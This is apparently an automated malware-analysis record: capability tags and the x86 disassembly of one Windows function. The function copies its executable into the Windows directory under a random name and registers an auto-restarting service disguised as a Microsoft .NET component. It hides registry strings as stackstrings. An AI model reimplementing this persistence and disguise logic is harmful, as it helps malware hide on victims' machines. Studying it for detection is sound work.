Function at 0x40328d
Capabilities:
Contain obfuscated stackstrings
Get common file path
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4071e0
push 0x4068d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x404
push ebx
push esi
push edi
push str.RegCloseKey
mov ebx, str.ADVAPI32.dll
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov dword [ebp - 0x340], eax
push str.OpenSCManagerA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x358], eax
push str.OpenServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x234], eax
push str.CloseServiceHandle
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x34c], eax
push str.CopyFileA
push 0x409428
call esi
push eax
call edi
mov dword [ebp - 0x228], eax
push str.RegSetValueExA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x354], eax
push str.StartServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x230], eax
push str.RegOpenKeyA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x360], eax
push str.UnlockServiceDatabase
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x35c], eax
push str.ChangeServiceConfig2A
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x350], eax
push str.CreateServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x1c], eax
push str.LockServiceDatabase
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x22c], eax
mov esi, 0x104
push esi
lea eax, [ebp - 0x33c]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x224]
push eax
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x33c]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0x10
test eax, eax
je 0x403498
push 0x1a
call fcn.004039f0
pop ecx
push 0x61
pop edi
add eax, edi
push eax
push 0x1a
call fcn.004039f0
pop ecx
add eax, edi
push eax
push 0x1a
call fcn.004039f0
pop ecx
add eax, edi
push eax
push 0x1a
call fcn.004039f0
pop ecx
add eax, edi
push eax
push 0x1a
call fcn.004039f0
pop ecx
add eax, edi
push eax
push 0x1a
call fcn.004039f0
pop ecx
add eax, edi
push eax
push str._c_c_c_c_c_c.exe
lea eax, [ebp - 0x3b0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x4096e8
lea eax, [ebp - 0x224]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x3b0]
push eax
lea eax, [ebp - 0x224]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x30
push ebx
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x33c]
push eax
call dword [ebp - 0x228]
push esi
push ebx
lea eax, [ebp - 0x33c]
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x33c]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x14
mov dword [ebp - 0x238], ebx
mov dword [ebp - 0x348], ebx
mov dword [ebp - 0x344], ebx
mov dword [ebp - 4], ebx
push 0xf003f
push ebx
push ebx
call dword [ebp - 0x358]
mov edi, eax
mov dword [ebp - 0x344], edi
cmp edi, ebx
je 0x4037a5
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x33c]
push eax
push 1
pop esi
push esi
push 2
push 0x110
push 0xf01ff
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
call dword [ebp - 0x1c]
mov dword [ebp - 0x348], eax
push edi
call dword [ebp - 0x22c]
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 0x3b4], str.Microsoft_.NET_COM_Integration_with_SOAP
lea eax, [ebp - 0x3b4]
push eax
push esi
push dword [ebp - 0x348]
call dword [ebp - 0x350]
mov dword [ebp - 0x3f0], ebx
xor eax, eax
lea edi, [ebp - 0x3ec]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x3ec], ebx
mov dword [ebp - 0x3f0], 0x15180
mov dword [ebp - 0x3c8], 0x1b58
mov dword [ebp - 0x3cc], esi
mov dword [ebp - 0x3c0], ebx
mov dword [ebp - 0x3c4], esi
mov dword [ebp - 0x3b8], ebx
mov dword [ebp - 0x3bc], esi
mov dword [ebp - 0x3e4], 3
lea eax, [ebp - 0x3cc]
mov dword [ebp - 0x3e0], eax
mov dword [ebp - 0x3e8], ebx
lea eax, [ebp - 0x3f0]
push eax
push 2
push dword [ebp - 0x348]
call dword [ebp - 0x350]
push dword [ebp - 0x3d0]
call dword [ebp - 0x35c]
cmp dword [ebp - 0x348], ebx
jne 0x4035e8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x4035e8
push 0xf01ff
push dword [ebp + 8]
push dword [ebp - 0x344]
call dword [ebp - 0x234]
mov dword [ebp - 0x348], eax
cmp eax, ebx
je 0x4037a5
push ebx
push ebx
push eax
call dword [ebp - 0x230]
push ebx
push ebx
push dword [ebp - 0x348]
call dword [ebp - 0x230]
test eax, eax
je 0x4037a5
mov byte [ebp - 0x414], 0x53
mov byte [ebp - 0x413], 0x59
mov byte [ebp - 0x412], 0x53
mov byte [ebp - 0x411], 0x54
mov byte [ebp - 0x410], 0x45
mov byte [ebp - 0x40f], 0x4d
mov byte [ebp - 0x40e], 0x5c
mov byte [ebp - 0x40d], 0x43
mov byte [ebp - 0x40c], 0x75
mov byte [ebp - 0x40b], 0x72
mov byte [ebp - 0x40a], 0x72
mov byte [ebp - 0x409], 0x65
mov byte [ebp - 0x408], 0x6e
mov byte [ebp - 0x407], 0x74
mov byte [ebp - 0x406], 0x43
mov byte [ebp - 0x405], 0x6f
mov byte [ebp - 0x404], 0x6e
mov byte [ebp - 0x403], 0x74
mov byte [ebp - 0x402], 0x72
mov byte [ebp - 0x401], 0x6f
mov byte [ebp - 0x400], 0x6c
mov byte [ebp - 0x3ff], 0x53
mov byte [ebp - 0x3fe], 0x65
mov byte [ebp - 0x3fd], 0x74
mov byte [ebp - 0x3fc], 0x5c
mov byte [ebp - 0x3fb], 0x53
mov byte [ebp - 0x3fa], 0x65
mov byte [ebp - 0x3f9], 0x72
mov byte [ebp - 0x3f8], 0x76
mov byte [ebp - 0x3f7], 0x69
mov byte [ebp - 0x3f6], 0x63
mov byte [ebp - 0x3f5], 0x65
mov byte [ebp - 0x3f4], 0x73
mov byte [ebp - 0x3f3], 0x5c
mov byte [ebp - 0x3f2], bl
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x120]
push eax
call sub.MSVCRT.dll_strcpy
push dword [ebp + 8]
lea eax, [ebp - 0x120]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x120]
push eax
push connect
call dword [ebp - 0x360]
mov byte [ebp - 0x3dc], 0x44
mov byte [ebp - 0x3db], 0x65
mov byte [ebp - 0x3da], 0x73
mov byte [ebp - 0x3d9], 0x63
mov byte [ebp - 0x3d8], 0x72
mov byte [ebp - 0x3d7], 0x69
mov byte [ebp - 0x3d6], 0x70
mov byte [ebp - 0x3d5], 0x74
mov byte [ebp - 0x3d4], 0x69
mov byte [ebp - 0x3d3], 0x6f
mov byte [ebp - 0x3d2], 0x6e
mov byte [ebp - 0x3d1], bl
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 0x10]
push esi
push ebx
lea eax, [ebp - 0x3dc]
push eax
push dword [ebp - 0x238]
call dword [ebp - 0x354]
or dword [ebp - 4], 0xffffffff
call fcn.004037bf
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret